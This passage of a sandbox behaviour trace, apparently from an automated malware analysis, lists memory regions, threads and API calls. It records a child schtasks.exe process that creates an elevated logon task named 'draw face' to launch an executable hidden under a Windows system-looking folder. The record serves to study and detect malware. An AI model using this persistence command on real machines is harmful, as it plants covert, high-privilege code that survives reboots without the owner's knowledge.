0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 5462 start_va = 0x2670000 end_va = 0x1a66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 6554 start_va = 0xbc0000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 6555 start_va = 0x1a670000 end_va = 0x1a779fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a670000" filename = "" Region: id = 6556 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 6557 start_va = 0x1a780000 end_va = 0x1a87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 8041 start_va = 0x1a880000 end_va = 0x1a97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a880000" filename = "" Region: id = 8354 start_va = 0x1a980000 end_va = 0x1aa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a980000" filename = "" Region: id = 8758 start_va = 0x1aa80000 end_va = 0x1adb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8759 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9087 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9170 start_va = 0x620000 end_va = 0x6dffff monitored = 0 entry_point = 0x640da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9171 start_va = 0x620000 end_va = 0x6fcfff monitored = 0 entry_point = 0x67e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9780 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9781 start_va = 0x1adc0000 end_va = 0x1af5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 9938 start_va = 0x7ff5ff840000 end_va = 0x7ff5ff8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff840000" filename = "" Region: id = 9939 start_va = 0x7ff5ff830000 end_va = 0x7ff5ff83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff830000" filename = "" Region: id = 10017 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 10018 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 10292 start_va = 0x7ff9ff300000 end_va = 0x7ff9ff33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff300000" filename = "" Region: id = 10293 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10294 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10295 start_va = 0x1adc0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 10296 start_va = 0x1af50000 end_va = 0x1af5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af50000" filename = "" Region: id = 10297 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10393 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10405 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10463 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10470 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10471 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10472 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10473 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10474 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 10545 start_va = 0x25b0000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 10546 start_va = 0x2660000 end_va = 0x266ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 10562 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10571 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10610 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10611 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Thread: id = 178 os_tid = 0x12d0 [0218.806] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0246.117] RoInitialize () returned 0x1 [0246.118] RoUninitialize () returned 0x0 Thread: id = 208 os_tid = 0xc30 Thread: id = 245 os_tid = 0x1274 Thread: id = 250 os_tid = 0x4b4 [0246.353] CoGetContextToken (in: pToken=0x1a87f380 | out: pToken=0x1a87f380) returned 0x800401f0 [0246.353] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0246.353] RoInitialize () returned 0x1 [0246.353] RoUninitialize () returned 0x0 Thread: id = 323 os_tid = 0xebc Thread: id = 328 os_tid = 0xef0 Thread: id = 364 os_tid = 0x10bc Process: id = "23" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x73332000" os_pid = "0x12cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"draw face\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3138 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3139 start_va = 0xb176610000 end_va = 0xb17668ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b176610000" filename = "" Region: id = 3140 start_va = 0xb176800000 end_va = 0xb1769fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b176800000" filename = "" Region: id = 3141 start_va = 0x286ac5b0000 end_va = 0x286ac5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac5b0000" filename = "" Region: id = 3142 start_va = 0x286ac5d0000 end_va = 0x286ac5e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286ac5d0000" filename = "" Region: id = 3143 start_va = 0x286ac5f0000 end_va = 0x286ac5f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286ac5f0000" filename = "" Region: id = 3144 start_va = 0x286ac600000 end_va = 0x286ac600fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286ac600000" filename = "" Region: id = 3145 start_va = 0x286ac610000 end_va = 0x286ac611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac610000" filename = "" Region: id = 3146 start_va = 0x7df5ff200000 end_va = 0x7ff5ff1fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff200000" filename = "" Region: id = 3147 start_va = 0x7ff684410000 end_va = 0x7ff684432fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684410000" filename = "" Region: id = 3148 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3149 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3150 start_va = 0x286ac620000 end_va = 0x286ac8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac620000" filename = "" Region: id = 3151 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3152 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3153 start_va = 0x286ac5b0000 end_va = 0x286ac5bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286ac5b0000" filename = "" Region: id = 3154 start_va = 0x7ff684310000 end_va = 0x7ff68440ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684310000" filename = "" Region: id = 3155 start_va = 0x286ac620000 end_va = 0x286ac6ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3156 start_va = 0x286ac7d0000 end_va = 0x286ac8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac7d0000" filename = "" Region: id = 3157 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3158 start_va = 0xb176690000 end_va = 0xb17670ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b176690000" filename = "" Region: id = 3159 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3160 start_va = 0x286ac5c0000 end_va = 0x286ac5c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac5c0000" filename = "" Region: id = 3161 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3162 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3163 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3164 start_va = 0x286ac8d0000 end_va = 0x286aca8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac8d0000" filename = "" Region: id = 3165 start_va = 0x286ac6e0000 end_va = 0x286ac6e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac6e0000" filename = "" Region: id = 3166 start_va = 0x286ac8d0000 end_va = 0x286aca12fff monitored = 0 entry_point = 0x286ac8f8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3167 start_va = 0x286aca80000 end_va = 0x286aca8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286aca80000" filename = "" Region: id = 3168 start_va = 0x286ac6f0000 end_va = 0x286ac702fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3169 start_va = 0x286aca90000 end_va = 0x286acdc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3170 start_va = 0x286ac8d0000 end_va = 0x286ac9acfff monitored = 0 entry_point = 0x286ac92e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3171 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3172 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3173 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3174 start_va = 0x286ac710000 end_va = 0x286ac748fff monitored = 0 entry_point = 0x286ac7112f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3175 start_va = 0x286ac8d0000 end_va = 0x286aca57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286ac8d0000" filename = "" Region: id = 3176 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3177 start_va = 0x286ac710000 end_va = 0x286ac710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac710000" filename = "" Region: id = 3178 start_va = 0x286ac720000 end_va = 0x286ac720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286ac720000" filename = "" Region: id = 3179 start_va = 0x286acdd0000 end_va = 0x286acf50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286acdd0000" filename = "" Region: id = 3180 start_va = 0x286acf60000 end_va = 0x286ae35ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286acf60000" filename = "" Region: id = 3181 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3182 start_va = 0x286ac730000 end_va = 0x286ac730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286ac730000" filename = "" Region: id = 3183 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3184 start_va = 0x286ac740000 end_va = 0x286ac740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286ac740000" filename = "" Region: id = 3185 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3186 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3187 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 164 os_tid = 0x123c [0120.563] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0120.563] __set_app_type (_Type=0x1) [0120.563] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0120.563] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0120.564] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0120.564] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0120.564] CsrIdentifyAlertableThread () returned 0x0 [0120.564] GetProcessHeap () returned 0x286ac7d0000 [0120.564] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d7290 [0120.564] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.565] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0120.565] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0120.565] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0120.565] RtlVerifyVersionInfo (VersionInfo=0xb17668f700, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0120.565] GetProcessHeap () returned 0x286ac7d0000 [0120.565] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d72b0 [0120.565] lstrlenW (lpString="") returned 0 [0120.565] GetProcessHeap () returned 0x286ac7d0000 [0120.565] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x2) returned 0x286ac7d72d0 [0120.565] GetProcessHeap () returned 0x286ac7d0000 [0120.565] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d6c40 [0120.565] GetProcessHeap () returned 0x286ac7d0000 [0120.565] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d6c70 [0120.565] GetProcessHeap () returned 0x286ac7d0000 [0120.565] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d6c90 [0120.565] GetProcessHeap () returned 0x286ac7d0000 [0120.565] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d6cc0 [0120.565] GetProcessHeap () returned 0x286ac7d0000 [0120.565] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8e40 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d9080 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d68e0 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d90b0 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8de0 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8f60 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8f90 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d6900 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d9020 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8e70 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8ea0 [0120.566] GetProcessHeap () returned 0x286ac7d0000 [0120.566] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8db0 [0120.566] SetThreadUILanguage (LangId=0x0) returned 0x409 [0120.568] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.568] GetProcessHeap () returned 0x286ac7d0000 [0120.568] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8ff0 [0120.568] GetProcessHeap () returned 0x286ac7d0000 [0120.568] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d90e0 [0120.568] GetProcessHeap () returned 0x286ac7d0000 [0120.568] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8fc0 [0120.568] GetProcessHeap () returned 0x286ac7d0000 [0120.568] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8f00 [0120.569] GetProcessHeap () returned 0x286ac7d0000 [0120.569] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d8f30 [0120.569] GetProcessHeap () returned 0x286ac7d0000 [0120.569] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d6970 [0120.569] _memicmp (_Buf1=0x286ac7d6970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.569] GetProcessHeap () returned 0x286ac7d0000 [0120.569] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x208) returned 0x286ac7d9a50 [0120.569] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x286ac7d9a50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0120.569] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xb17668f858 | out: lpdwHandle=0xb17668f858) returned 0x76c [0120.573] GetProcessHeap () returned 0x286ac7d0000 [0120.573] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x776) returned 0x286ac7da7b0 [0120.574] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x286ac7da7b0 | out: lpData=0x286ac7da7b0) returned 1 [0120.574] VerQueryValueW (in: pBlock=0x286ac7da7b0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xb17668f7f0, puLen=0xb17668f850 | out: lplpBuffer=0xb17668f7f0*=0x286ac7dab60, puLen=0xb17668f850) returned 1 [0120.579] _memicmp (_Buf1=0x286ac7d6970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.579] _vsnwprintf (in: _Buffer=0x286ac7d9a50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xb17668f7c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0120.580] VerQueryValueW (in: pBlock=0x286ac7da7b0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xb17668f7e0, puLen=0xb17668f848 | out: lplpBuffer=0xb17668f7e0*=0x286ac7da990, puLen=0xb17668f848) returned 1 [0120.580] lstrlenW (lpString="schtasks.exe") returned 12 [0120.580] lstrlenW (lpString="schtasks.exe") returned 12 [0120.580] lstrlenW (lpString=".EXE") returned 4 [0120.580] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0120.581] lstrlenW (lpString="schtasks.exe") returned 12 [0120.581] lstrlenW (lpString=".EXE") returned 4 [0120.581] _memicmp (_Buf1=0x286ac7d6970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.581] lstrlenW (lpString="schtasks") returned 8 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7d9110 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db6b0 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db650 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db470 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d4330 